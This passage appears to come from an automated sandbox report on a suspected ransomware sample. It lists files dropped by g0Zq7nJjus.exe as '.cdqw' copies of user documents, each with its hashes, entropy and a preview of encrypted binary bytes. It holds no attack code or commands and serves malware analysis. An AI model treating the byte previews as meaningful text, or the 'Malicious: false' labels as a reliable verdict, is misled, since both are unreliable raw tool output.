SSDEEP:	24:CXUFEafZlyCQxvf3c51DLGBJpRUCamuLFEDG60q3lPIA5NuRh6ZDhmoSA8u62bD:MDgcC0EDWJpomrG6NP1E6nm7A7D
MD5:	09C4D1A685D0AB76CA81ED08C0DA8AB2
SHA1:	EC8B6EAEDB9E10CB71FA1E8B1003C6AE1CDB1417
SHA-256:	4382F347D53543C768C1E859662D38D414DAC346AE67B9ADD05CA8998A8DB2A7
SHA-512:	76BD7B77F9C8E4C14FC94CE98EE783E5D9C53B12A7F2E584C09890C81E0AFB66DFAE6319D6575CAC58E34DAE61FCD3096F91FF55FCA2A42003DB2B1060D4ABE7
Malicious:	false
Preview:	DUUDT.PcS....g..Z&GE.\|....c..k^.....?U.=.....P.m.H+.i..X......?j.@".c.H."...+?f.........k....1N......y.a.^..88*...@.1.....%-....K}....n.<#..e.....4.;._.H.V.....\|.p...J.. XX.`..b...9.y.hX.Rv+D...I.TL..x...Bk.y.!g5.A.^.W{...........qb...:...e..&.w......D..U~R.m.p.-.......y...P(..........u.Y.Ww...,hVM..v..0=-.'..oUar..P?..b......"....b.,( ..v...0T....7.wKfZH"'...v&.h.).X..y.I.....?.....2..lm.!..,F9_..]\L..1....D_.H...5m.<8....\|U.9.h..n2....s..=amp.cQ..VJ......m..aN....K(...5h.#F..1....]....%.cn.{..J.j.A....`...7..{.....x.\..f...o........2..H..p~..0...R..3SU....C.U.iI.5.C.]..v..,.p.....\|R.~.`....Z-..n...X.;.&l..t.6.H:.Gi.c..M<..,..[...Yt#..N..4..g..VIG..A...=E.z-W...G.<...W..:. s.az.zt..z....<....&..sN..N....G.Z.....s..o....W.T.q.y.........u....7KCc....46...w.]..e..>Ac....\|DY........d.V.+mOL.w..gr...~.og?.9.zPY..2z..8..W&.....l....2Aq........)..)...+..=..X.];.R5?.3e"..n7.0.Qy...".....}.F..=..y.T.T.b.#b~....Kk..{..<."O.......oT.....I...%

C:\Users\user\Application Data\Microsoft\Windows\Recent\EDCVNYNUAA.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835771226563034
Encrypted:	false
SSDEEP:	24:FiS2x7EQOq/nSt/yb1LHtCa5GHMwY6cUIRtW1xIbFCo5oV2SnW1/mqgsnl+AsWVw:FHEJOq/nk/yb1LHQa5GHMZ7YnlWJmqgv
MD5:	E496F1A6982B71C9C96A400F7E9DAD3E
SHA1:	B48B46398F20F6D17EC3F8E253114A63BB7784FC
SHA-256:	1F8CF418602414EE04FE8015BDDACA1EE184B862C6C54DD83FE70ACCE3BF8748
SHA-512:	DA9BCFF03AE6ACCB4461B64D89E7BF9E67C329468D5750564CAEFBC05421F3EF4BC018D2A0E6139BE214CBA833F97278916D54EFB51B7FA8583CD054FFE563F5
Malicious:	false
Preview:	EDCVN~3!..H.QM..Jpp..+B...Z..k......?\|...\......a....%Wlw.d~.t&....<\|.....U....#..,?T.X'.....h.....v..GA"...b.THe...QfK%......A..F..$...l........_..3$.sq4.......Qq.z..P.......b;...G...B.fU..AO.rZ..nMG..?.F...Vx.!...s..2A.6S..))...7LV...>K\..."%:A@.Bm.M.+........RL.I......>Wo3&}..q....3....nar.=9.6..<d....R.....?+@.V.......p1'....>6.bIz..e%...M.u._.p.<......9 ..J..;}....b....-..N,..Z.....]M.zI.rR.a'.=.a.....\|.Z...b#.w...=W....s..`~3^.'..X..v..);j.".R..4......r....4.1....o).\|...R&4t.._.i9r......$..y.t...V\.q..."%../.....;.t....l.#h~..B..:E{..d...~&..."....d..T....Z..........".B7.#.....!...4J.<.`.7f<'<.H.}'8...n...+..!..(.L..Zo.}P.!..J..HP.".qM{:d...)....Jw....y...#..\|58.......1_\=..\.a..'....(].ww....'P.@P....U..V^....w....Ls.}m3_.I@.\.u....X...9g>.;..Y.sx>?.j.79..I...mf...8.....O..K.~.4..<.../.....o6j(.C..k!.X.m]sA....F.............h...J...6(PQ.m..k.@.....m....1.`x.....:v...tv?+Ej...Y.H.3...@W.\..@...8...Q......k._..].n....CA.....<r...<

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865582951442194
Encrypted:	false
SSDEEP:	24:Cz+EBfcTVO5+dTIJR1SJqAH8fNKJsF5J9RxMGt8uKprY5zDyFtV0Uzs4xf5fvArF:l8fcTV++dsHgkXNKJo5J9RGGDKIzCzHE
MD5:	C5403025515A47056D17CACB25B2A120
SHA1:	E0E7A8A4C6359F23A13D8DF829D69A7F2C207A16
SHA-256:	458149C4C90C7AF96985C1DA7FED39CBAB4788A5AF8F96717F883F50E0F0FB9F
SHA-512:	013017B81961583598DD96635642F431F40551A39A544F6FD9FE20B59D588F716F5877C47391AB51EFB8557E4991C6BE5CE2B4214DA1E7AE19CE0AC500F2D01F
Malicious:	false
Preview:	EEGWX..2.+J.U.G..C..#.q.2X.?..T....`+{..k..'....A.O.=...N.6...(..W..VT........J.._.$.........R..a.w.3..6i-N.....G..-[.l......t.N...`...Ivwf..,$w.<.b...!..-K...KF..s..+.T..X.y.g...l..f.....)....!v...yr.Q....c T......Lm...A...e..E#..i.O.!\|.d..F..].......=h....k...>.dh.g..{o...(.(..D........d...gU.yk.xp-.......:..).._......?O...}?........L..a......z.........'.}aGn....[.c.y.....9..@)GS..C]...B....I..jaz...~..\|.c....bS$.UfR...l.!..o.Yhu'v..--cc..j.N/.....X....z...C.J.vN..(...%.'2<.PNI....J.N}..}.f.+YHlk.TD;.....:l..B.......C.m.p..........6tcd..e;../<g......c..7.-.....$;.....`b'....#....s..F...Ss.I.t4...]_ {h...Y.C#........or..k.u..{.x..1......2....CMf.4....+.a{bI>x..z{ul.%...J:Lyr....{..n.....&..H.......;9..S.....5jL.~.xmP.h<..Q....E.I.....x......]2`..5.=,..4k.....5[TU........v...........K@..0...?......P../i.=.Y1.\.C......`.....9.H.^c..~.O..A...R0.L.........x(+.$<d...<H.m.2.w.6=\|l..D.P......#..Y..I........._..(.5.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFOYFBOLXA.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.889547420336136
Encrypted:	false
SSDEEP:	24:q/kB7h4jiaHbw+WzF7EFcMERBOs6s8eMO5kENrQws4oLf6R0EorCbZjvlsaDFEau:fh4jiAizF7E/y4syHejN9vrRtLZbDpoD
MD5:	B94705B7051E13A752C2D6EB960A6112
SHA1:	90616396253395F5724BDDE246FC77EA0DCC1545
SHA-256:	B82F3F1704F667658B49CAA782C2F16BC2C876399A2E4FA1D63BEB4FB429D3DD
SHA-512:	35273B0BED0F4D56E70C43CD1EE08BC01595E63D44F43E5C9678B205D474DD38B77B3897B258570B6BC6795E330CFDF9826947301C03E9A15D835B7EDEB866B2
Malicious:	false
Preview:	EFOYFS....FS.)q..J<..!a6..b>x...I(K.j......:m...f.OD..@h.....0wV.......A..5..Q......#.V..I\..T..Bq.1.z...B...IBE.{p...n..t.2.....%e.g:..Pt.. ..[.O$.p&.......).I&......<....:. ..U.<..e.0....a..g.Y..7u...%...@#....c..^z^R...%..k.r..O!y."....sZ.-.....&..Q>....iI..e.K....`...y.}.a%.. ...#..F.#.X...w.J. Fk..Cg...j...y).d...xa.H..L.d..L..>..}.... ^.x..oU...)h.....B.....~k.b.e..o.........<...)a+"C.......S........\|G.%k.......S.....B.....~..3...j?.n-.J2G..D_..=...o.r...K......?a.?R.&.S..0.&t.x...vQ[z....j..J.s.]..(/..L....WY........^.,.r..F.d....E..L...}_TI.T.....R........'d.30....u.j.h...R\a................B...#.s..p.W.......`0..+w..{....V.j...?..T.-b.....fP...s..Q#......dBM".)..T.K.6,{...X..k.......-}&O....y.uTX(.:.a'.\|.......D..,..q.s9..;z?...O..........T.)..W....d>.2...'...!;.%..p.....4'L..T...(:.7.tsa?.v...C...0G.g......u....@".....R..1.T...1...."^.-...w.4.I.tGKi......`R.HN...v.j..H...8..f.V.D.?.....F..FW./.K.0xF..Y\..m.#....4IL...\OW-A

C:\Users\user\Application Data\Microsoft\Windows\Recent\EVCMENBQHP.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821579343150126
Encrypted:	false
SSDEEP:	24:ebRIjIrg4eXIL0IsLsCw0TMceJzof8wzeBrRdT3bIMzYIyI2g++THgxD5LZFXlBd:O0L4Aio1e9sNCyOAxtL71BkoqQ/HmAD
MD5:	97AD39F689F5C8C0B1FFE1EFFF6B5BC4
SHA1:	1C12F17FBBF9448501C9FF8E057C9FE58CB1A621
SHA-256:	EE0B3E3CF216D516A1EBC077545B59D8DF1525F52033530E6F9977DA39820AF1
SHA-512:	3DB5B2EAC03C1378CFB4DB2FDF84C7A72FF5A45E63F1886E895B0D388347C61D8A24AFE32675011AE08EBBB8240F7BD76E7696BC3AEAE271E91B2CDB1155A6D9
Malicious:	false
Preview:	EVCME..tV.r.B..8......v.....-.r.A.9..Nk..w....i &5......=N..A.Q:.v....I8..'.....v..u.d..I.7.>G..m..D.)..\.C..~Ry`.....wv.......?.r?.W...=%...(B....@..?.J.PN6..r.J..R ..h.8.u-.Z.....>}Q.B....\|..=..b.......T.0.W...<....t.g7..W._...AC..g&....;..a.r7:.......iR.~&X.......(.U..._..w.........w...r.Rm..'w%.I2......hKO...).sX..3.1..pJ.Y..I....E.....x!......t...{.0.....>"..H`...SU.9.O:p.`.~..).... .7.g..bk...x>.x......l.D.....S{.k..O...B~)}..+..X...<..H.e..g...k..;a.._..7..4....Q.........KZ4.y.L...m...[...$w.)}%..S.+(..L.J..O..F...W.I.>..%,F..UzaU-.........6.....\|.K^AL..~...)tH7...j..........OA.x...nm=..rrC...R$-(c&.^.....V.....u0......x..sS..3.K.u.ge.o..+s.Y..Q......IkW...!.KTo...G<F..x...x.I.)[.....{...rB...C.A;..uQO.A$R4.zxf.~.w......fo..]C.Q-.o..iH.3S.=O.PI..q}.xc....k..../s.....xU.z.0.v[......G9"...&y.{`.....S'............j.k$.h ./..3... ..+W..#.p..t.~!......'.Ha.g.3..u{d.#WO.2:..;.._....?..n....=.b@.Uf./.l.X...w..N.?.^.0.eu.N.;I......

C:\Users\user\Application Data\Microsoft\Windows\Recent\EWZCVGNOWT.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834811766903305
Encrypted:	false
SSDEEP:	24:pYi1ybglSnVvBlme1F5F0VTspQaYxFnFNtlXUXMXw+61Xqc1mJfM924o2bD:z0bglS7lmeL5F0VTspQa4Fzt3XE16cca
MD5:	7058BABB076A90297A71D3BB0E740E2A
SHA1:	F5B0394BBD5FC0D92FD221A47336DAFAFAB4798B
SHA-256:	90305353D20EE163B783026327DFC80E59C7F1CB5A5372831CAB00C3BB26D21B
SHA-512:	6214DAB927A840084B29795F7AD1C659AE362544E38B5DD0D7B07458D8C27B40DF61A7E23055F2B66C2561C3BD7D2E15C0D1F23F346522676D8FBB294061FDAE
Malicious:	false
Preview:	EWZCV.q sA..sV......P"..#.F..6..E.}i0..K...z...QL3dK...f...aLsl`..{.9.o>....]..k...4.....'..\..k...l9+.m.cb<..R...._...q.h~M. [..{0.H...9c...;4..zT......W..i......;9...}...p;.. .v.k.`...8]P..o...7.Zr.yf...@.E0..i.s.D..'.1..s.$5.yj7..C...TH...Q. ..Z.0...5(..F.....(..y.q........OW.......a.6y......'.....B..z......S...{..!._}.t......u0J.....&...xn.Y8}=E.+.J.'EDeb..v..0...0=.:K....h......z..j0.{z........V0...K.5......'.d.........B....<ACi..x.4.}s.6.2nk..&y......H.3...s....82..u.>O33....:.V..2....Kp?...Q;.A......hA....EY....A....c~.V....=...`.R.ol.v57..s.3.g....,.../;....G..n+l_:.....=...Hi.5.@..`......r..".V.cb.U..W...mi.K`zq..V\|O.?.....Hi..c..u.&.D$...{`.M..d...'R....... ..4.JT.....]....(C....\|...S.?......n.>d.h(..SEGm.........Q..mV..\|Zq.s.G..zA.4..G.....V.f...%g.......>9O.....0..~.J..s.........6@.$+..$.!.._.........Ef..\|........+L...........{COqLs.'......j.....4tH..7E.W..e+q....s.......l..%w....3..o>.2.n>MS....V.M....#....ULK.

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855013984228477
Encrypted:	false
SSDEEP:	24:7glEV9w2HhAn7+v80FSqQAvHuPFVY1RRq0v7He7Yl38n7kr7TV2bD:0kJQU32PaRRqe7CO3UkrmD
MD5:	9EA6F255286566FFE29903DA06F3CE91
SHA1:	B1C441F5BF1EBAED93FFC19291F79B4745B18F8F
SHA-256:	3D10A5F0DCC31FA672E5642DD6C893B770B6E6372E3C3141299B23644309196C
SHA-512:	01CA4AE0DE0E66D3794938A7808A053FDB469695E744F14107B59AE6A24AC3B6660BF04BB43C66ED1A34251E66A05E3AF552A9EC08DE3C3253CA5583538F87BE
Malicious:	false
Preview:	GRXZD.~/.e...EN]Tli!..........m..;...Y.W..l..Q<.@....]T.H....@\|cip'.;.S......a..u.HbaC....H....`..$Af....>F.....9..2}....r!...%cpY.......'.9.FSH..k..+.$...Z3.......`.....\"..;...........~.....r....`..&HD.b.,..:.."...I..it.J..?.".4..B.5....... !0....V..g....n0+..;......o.......i.+T...{c.?)"r.-a..sz).0...Y...D..:......+Fe...gq.$j....p...K.......$;.p..mQTX..d.$....H.s5...7...A......R...(.$"..,...n...WQ!...)>.._Bk.s.2.......H.Y.E.[.......#z@4.cS.j0..x..&.E.u.....]e,..J...d..Y.kio.7(y....\.............5W...3.,.LN.u..I..26..C.z......tp-...%Q.r.N"F.!...;........].<\a.f..#.Zn....::.1q.N..d..z=.5..P.H.r.O..1..$.k..R.a.-..x.....4H.br...1m.=L..F..A\|..M;.@I..y.AE.-......[....o..X..eo._2...M\.@n..;.!. .1Y....m...V..0.-~.jp.....a....4.;.q9G_.bR..m....S..N...?,.@t.......Dh .s..>.t.Ykp..b4d..#....tG2......^....e.....w.E...Bw.*.$.cz.Su....=..lD..#...,aaN..}#...$dF.s.U.MYw.;......9e^7.%...=..RO.XY.Ra....u7...).......r. .Cb4..$..Y^6.'..

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865583238137365
Encrypted:	false
SSDEEP:	24:LlBcUpSSVW1QlMuvSIsUhqsHJZHKwNXYZTbtW45JtPoKvdska0JG92bD:3cUpSSVWWbs0qwJdKW0btW4JPtabORD
MD5:	46D25C7C3C67D4D11B8E91FD8FC709B0
SHA1:	6B3800A5F1EECCB39ADD60B072DA80CB3448B7A3
SHA-256:	5DE689B549B925D2E19D5F9BFFA348131B936D9ECE7E2AA6AE151E11C56E8925
SHA-512:	5C4351F70CE647B8C72F5E28A0426AF9B0EFA86AA5DBE64C03CAB5F31D22E949AE1DE57FA011CB99454AFEB4B31A40ACD564514FB493D687203382247C09718A
Malicious:	false
Preview:	GRXZDqS..D.6.o........f.....U5.e.1.y..+.;..zVb..fh.y8F7]..!.....K._D...../S.\|..@...sb/dB.........y.h.P..r..R......`.v.+.\|.......%....:.q ..Y6<.)P.e..8Y...n...I.P...=....9f....Bn0..kU.. )I....>...9."(l.. ..u..ab.)&a.dh}.muw{..}.....Z........;$^..%.mJ.'fS.Bh`.=.Uf..j.k.do.h.x.J.K$.Q..s...$.eF.7..0...T<..IH.t.g8...@T..~I.".{o.........v.......2.V..F.o..8..L.Y9....&.S0..W....)}.I.p.+8...X.c...x.r...+"M<.....J.U.....7.! eW..\.$.A..p..M.r.m.....9.^.P.S.,.j...$...C.....U.7..c.,. .k....L.rrg.....:..v..\.+.N.. .]....3-u...F...z... ...#.Y..Bv..<e8n.'\|..~"7..........c.....(.....~.L.^F.hdT.......s......1..c.w.$.]...L..-.rvr.....z.a...`\c.5.hg..A.QpSm`>..d...4H..J.@ ............q.....\\..)%.SC..?.:.eKqdpQ1..q..........R..T..?}..r..T..34..\|F..G..g.l+^0...?....6.z....)?.....\./`_K..B...2.J......#.O..0.......\|~l!4.r.T..j..l..8l.....IS.\|=.....f...h.R.z.....g..&t.m...P.OJ.AkR}YN@...]O.......f...,...=;o..P.rq.g,2.P....u.}8..=M..p....pD.k..8..D.i...e+p.....}.iQ

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8466790539787725
Encrypted:	false
SSDEEP:	24:jm6tnvcJfjIobXleX0FG7wdgkamvrF+p37gmvrBM5+zl30bCE1M7Uc6l72bD:KWnvcJ/ekFHjamvrAhE4Be+zlq31hoD
MD5:	F6F19E8C42709ED8C0502A23F268DA5E
SHA1:	AC3D33E2FD6D40BBE4E708B1FEBB65374595B90D
SHA-256:	4626E530CE009B4815DAB694E2EBF008AAFB0CE2B069EB15345F5FD4D5EE48D9
SHA-512:	648C5B97B4D8539BB5DECAE9C59EA9EA5FC3EE93ACF1D19BCC0AC4D3C615FBE53497277258DF9A46A67AEC9FDE63FD7A54331FF326DE3B74E8449F1308EFA3A2
Malicious:	false
Preview:	GRXZDt.C.`.T..m..E...7R...-...5.....^....g....YK%....f..z..d...4.9..Y...[...I..M....znP=.<gS"P.B....-..)W.../..O>~....=S.[m.ncp.fM.!.8.!..cOWX.'0f.K=......W.....D.......j.F.9L.c..H...QA...YV..b... .....B..N2....&A..T..........P..u...e36....=...F6.'M'.3ch&....Uf.F\|.M.l.:>......>f. .v.F..:...M"..$...Lh...P.F ...0{w..4.o.#...0.I2..`@....,O.....G..U{.N.b.'...)9...R.>..3. .+=K.f.l..........UhDp...e....nC..:......]......x^F..B.....'.`..q.v....6..%..e...8.4.+$.P.e...rn.K..$..J.!.=T.AJ.......\|...($..:...>y6..c..=X;.........fe..I..7..i....l..a.J..x.E.....3.........X.&0U.!...`.&....../s....ebJ..Q..{.o.....@..;..q.."....?.$DR.~.>S.E........5.sw.^s`Mm...>CM..d....Y..O.i...F..D.z..}.!eR.;5..K..5.}~q:j.l.........tW)XT..h.V.........#Awh........k..%.fOU.......p..pn.......`...[.<.u.R.C.k..T...#gY...M&..g.Sf..n.7....o......q.....o`.O.Z........Np...(3...._...L}.&<..Jl\|.I(.x...-..q....(.O/.o.....0......+..M[.{.......v..!..R+n.%r.$....ZmW.Y....2~..SC.$

C:\Users\user\Application Data\Microsoft\Windows\Recent\HQJBRDYKDE.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834778268698813
Encrypted:	false
SSDEEP:	24:f2SlOQLSskSFIpNMpnqlukHwbQdQvXLd+p5ydGe4T2bD:ZOQWDSFISnqgkQk+/Ld+pkGe4AD
MD5:	BB31B2A1785ACC77CBE24BBFD7C971A9
SHA1:	2BDE50834DC13FCD722C86FD035274CD5E744CF9
SHA-256:	765CB3E544CD926D77D2385BCDAF2AD9503FF7F0B17EEDEA576A8420BA2320E6
SHA-512:	90ED7A3989460E67B233C4205188E341BA8CCEE3CAC77622FDF3AC78829C2E5179C511BDD1EBAC94A6F36B9074E9DDDC6FECA5ACEFB1230A88A0B16868CC540B
Malicious:	false
Preview:	HQJBRq.}..e.H{,n.....^.\|5......F.V.6ht....d....z2.....~.........9.&......,....\|.........S.g...y-.p....~......1z.....Q..l....cf-...;$...L.....'.[.WkG;..(b.>...T.p.m.....RDlX..S:b].~l;.9W?<\.b.....BJ...@.+.RtV..(B.w.7#.!{...!I;Md.6z.lI.<...../......z..r....6'.w...s! r..#.d.S...-.<..,0"B..U!...c.....$q..%...PWD...(..C.E.jt.....".....{.6.Y....aow......V..O...#.........&. .......!a~e^e.<.xA4d. ..PG..<....m.H.WM...v.A&...P....i.7.c'8.L..e.5....b..h..2....4..+.W.l...$.0KS. .......r..;...A....rz..g.......!...b......X.\|..t.KR..B%l....W...iY.."..3..r)..?.....Eqd...B.IG...^LF...:u..S....oW).;.av.B.....g/...vc..g-....h(./...)....C.<....s.T1.3..P..v.)._>....{....k....."..%..hmR..Hb..~..,?.~..rV5.4.[.~1k.....e.M..L.#:m........../..).e..&.J.&...9h.V..r.zv.\|..RSSiJd.'{P...4.k...x...!.....Oi.~..R....#tl..41^.x.?...W.<.c..{ ..D>i.....e...E!...wuq'........7...\k).h.q*.m.....~.9..~.#.t.#.m.q.M.-..$L~..\.>..l.l.}0..34b.,ADi....#...........Tr....J.5..E...f

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870718303719371
Encrypted:	false
SSDEEP:	24:t0NMrchBiznYH63FzE1/vtmGAoTtPoy1YJAK8CoCGbCwbNGEnpcKED4Ui2bD:8MroEznv3y/v2oTRz1YJBDjqXGEJEDdx
MD5:	3B9F17C15E4D79F611F92FFEFED18413
SHA1:	8D74B02DC7FF63C68B49AF90399C83707AF974D1
SHA-256:	2B8ABFA6D766433E171BDD723B37E9C9C37A381019E394A60959D957A04DAE72
SHA-512:	BF920FF7CEBB74D418BAB6A165BA97CF30C703B5F4394167F15C136652136DD4CEFC96CB3853F7967800C071212BFC4CA11126FC89D72C66BB65D9D548DC6728
Malicious:	false
Preview:	IPKGE...C..CfOe.s..9....../Q../u.~.n.. :g.HA.5..\|..of.'..).4.6.~.y.x.f6.X.6!.....8p...k.$.d[.h.../..)...u........"\....m..M,g.z.....W...G/4.Dj..}.Cx.l.O...{..#......L....C.x.c..2.:nA..6Q......B4h.f...m.3...2..........WF._iL....n7.$O...Js.S3.89...\...t..]..>..wD$j..EzWO.............r;x7_...L...j..........s.+!.]<tNkE4M..y;o.g......k.../:gJ8[......[{.:r.W..HG...7..0Z.........<.(..mw..Y..........6i.....$.._....3..B..>.+..aJ't.(.!..s..Qa....V.w..Q..`......wT.Ie.u>..`6........Bh..Z.~..".Rb7.......V.....<...W....R.;.t..".y.7Ji#..bN...).Swo.$..p,.Ty.~h.j..Z...T5......v[.V.h..].p6.....4..QDu...U..U....l.1..Q.:.^.@.&.M..........Ax.u...uQ...bK....;.`._.M.n...G0..l..'..M}te'[...=aH().a......b.'..c.q. ..W.qJ?.....Qu\...t..L..zb...E....y...3......F*....s.abp.{......+.P/....v...G..sh.a.=..od..#r.\x..<r[..(....r..e...ect....5..U......)#.......).r.N.....f]..y...K.g....X,.....M....M$.{.ad5.j.......e.u.q!...=..'....q._../..(...Je4......O.cZ....../.

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8585093105377615
Encrypted:	false
SSDEEP:	24:97rcIRji/7e+xdrGQFs9ndzuDdg0Rbo8OzRS6Lv4E8dw2nntv8E+w2bD:9hjijeipGTdixg0SzU6Lv4El2n58EsD
MD5:	3A44A8DF5C0F1481E6C76DAC5E6141B0
SHA1:	8CDC2D308D1F81477BD7454D8CAD3A9E8282F048
SHA-256:	1A6B1F1006B60629E662D06FE2BBB14886FAF5FB9A9369AC70D2199323DF13A2
SHA-512:	165F5A702E0BBDB30FDDD933F107F1BB3A76CB36FBED43319EB0125709B742B16E828F5E909421463105AC10D46D1867DE093A3A6EFEC6228DC48ECCA9886668
Malicious:	false
Preview:	IPKGE...2.f.W.3..{].#9....@...!>..X.(.4.....K.....m.u...gx~4F...c.z~...WC.^.....xm........?...&.T...K...aTG..L...x^."H...Z...~....4T.9..m.A.w\|... p.m..iL....>.d-..&9.....<<.;..+..:=.H..>A...J..?e }...&#..cRZ,..[.._.1?...8.,.V.o...7.V.5[P".e...m.)v~O%._.!y....,K.X..f.;._.l...b5%t3.l....,9..sw..:..#..;.Q=..^=.{...!....s.......e,....;.YZ..j.......vv...e..G...].D....cxlr;...h.3..t.']..........zJ.>......{)......X...h...a.L.#.z...`.ju..........`.;RUq._y..b......G.....%O....f7..+.7D..... ..p.&.>........Z.?......>... .e..b/.J@...($... ^...c].....)v~r.m..l.... ..J..E+.a.. .'7.?O.^.6....0l..gnu.T]"@........ .ua..8.}9J..pPj.V....!(.....d....5......Y&.v...cx...ju..J..b...L......h..`.V.K.....{.8K!<..b.Y.)..n. _e......T...bK..).a.bV.5~l;.B.l......A....Ih.U.......n..j.....U.. .c.....m.....q...l/..+E"t*.A.WeM.^..w..s..h/O3\......_R.&.a.J..........DT.q.`..#...c....w)5..HN\.BX?c..(.8..L$....s.j...P.....'.6...0.&.. ....Z.......g.U.m..k.n..iD...d.y.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\JICNOHRHAT.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85243398645954
Encrypted:	false
SSDEEP:	24:QhyORvaWGZF02pbYlmPfkz/4ORc7tZneFYCEjfoWBa7uY92bD:qyu1GZFhu6f2wicRZneFYZjoWBa+D
MD5:	7B909C828A50D4C674A37DEA35D1963A
SHA1:	3DAC2B8621D37305E04A7FDEBAC122462E53CD4D
SHA-256:	817253767C7C50CC66DBDEE2FE817C0438DC4D12AAFC14AE895DBEA7C27DAD61
SHA-512:	95E3A877F5CF9C0808D579A4F36B05B6A4C923C6B2AAF68EE7C484B961A914E126CF801EDA2ABDC84DB9C7D0CB92E1DBFFC71A8337F7C3C6C2A80F5CB817AF0C
Malicious:	false
Preview:	JICNO.M...Z.......")i..Z...3..`Xj.'.6...?.......)?6..[Pc..]mq..ce..N..ta0@k.`.AD.s.....M..$=s....C.j..........\|,.H~..z`.2.\|.....6..a..m.q..o:........&...5y..&g.Qt.e..&TK.....k..j.P.X5s..m.0e..4..b'...7../..j/....\@...>y.....#-...;H"...D.P}"4..#...q.]...7..}s3...SIE(...0.....J.B...Z...H....j......G..E..cgkk....p.>,.....<.?.Q.R)...\...v,.......(.7Q..CbS.@=Vux ..^%&...."..bR..9k1.@[.....Hiy.R..1...a.....Z._..^/.....k.<j.&)F.y..(H.%.....5Yb....K....L.:........8.].<.G.I...{....Lz../.....nkLH.Vhf{.u.aB.....a..#.....aE.....\|......c..g.0WND?...G".'.8A._..G.{..Ex`.....Q.W..h.....~n....F....$7..........N..YY\|?;....}.0..K6...X"T<....\.9..~....v.bS.^n\.l....:.A....U#5.r`........s.....9.Y.}!...Zl7.]V_A.4%4C.T.>...b.^..=.d......%...m.H..=.......y.`......~.......F=s.j..S+dJ.T[..Q.m,.H.....a..H....i.d.oe0.JG.U.Z.;.^...'...*.q......wb.......2.....iq..h9.!....vk.c4.V.U7.....gG......X....=Hq...T..T.%.....TN..3..-......Y.aV..J#W5..v...F.8.^..o.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JJMNFRKQNU.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847773187652006
Encrypted:	false
SSDEEP:	24:YPgH7jgi1g6+cjPg1o3yl+dKGUzX8byA+NDMtiQkJjrLuVDrQ2e3lpaL2bD:WgH7jlmUg16ywddUzX8byA+1WcBr27eR
MD5:	4C0BE73B95694AF3FC3B0143416673C0
SHA1:	C82A9881C8DA4288934B571A4F38115DD71984FB
SHA-256:	225F59128C90141F09457C4CDE48DC362283457A54E8F1A949A3EE3D0FD46172
SHA-512:	B285127B3FDB5042EEDBA9EDE8FE0A289B361D5AAC90E3D7A279CACEEE2E5169CC6DFA969F103D737FE4F8BD3A645681E25C179A74A46C8C6F59D0D3A446DFE0
Malicious:	false
Preview:	JJMNFZ.-"...QhH.....3.....!x.[gPP.Q.ra...x%..@=yl..K-..t.....SmR...N.........`.R..={v..,N2TU...C....l)w....h....B........J....~..O...z4m.....`.L...,O\.ck</.RF.1(..z...[.Y-Z.v...Jh....h....6.........#a[.Kk!..C..h.8!i..C..[..n.?E\.h?.;1....;79.......H'$.(..xB..Pf..x...1L....Z...h]...o}...'M..H.....P.q+/.WP.a.T}..4N..Q......EnJ..#.....D............7.u..q[...<..D.c..'0.v...H...._xg.[.rC.M.7TA..2..;cikSB.S._.;w.q..jr.z.<lbn..S.ry.\".)Dm'.,9 ....<......=>.Jl.5.,.Y..9..%.N#.....<mk..^..M...K.4....4......J.O.=BY....G.!..y~{L#`W....;.T.....I.q.......7.}y5"..c'....`..@.<.......qLe........j...wb%.'.c...s..z.Ve..Z....{.w.g.......#....9...R...)..\|..P.D.F..*.s..ue..r.f0.W.......@".../....{F.. ^.:....93..g@..o..qq..r.c-...p(...........vU.....E#.v.A....;vv..Y...=.s...)....6....>..J. 